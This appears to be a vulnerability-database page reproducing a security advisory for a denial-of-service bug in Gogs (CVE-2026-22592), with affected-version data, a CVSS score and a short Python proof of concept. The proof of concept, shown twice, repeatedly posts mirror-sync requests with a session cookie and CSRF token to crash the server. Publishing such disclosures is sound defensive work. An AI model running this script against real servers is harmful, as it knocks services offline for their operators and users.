GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-CR88-6MQM-4G57

Vulnerability from github – Published: 2026-02-06 18:08 – Updated: 2026-02-06 19:06
VLAI
Summary
Gogs has a Denial of Service issue
Details

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:08:16Z",
    "nvd_published_at": "2026-02-06T18:15:56Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.",
  "id": "GHSA-cr88-6mqm-4g57",
  "modified": "2026-02-06T19:06:50Z",
  "published": "2026-02-06T18:08:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gogs has a Denial of Service issue"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.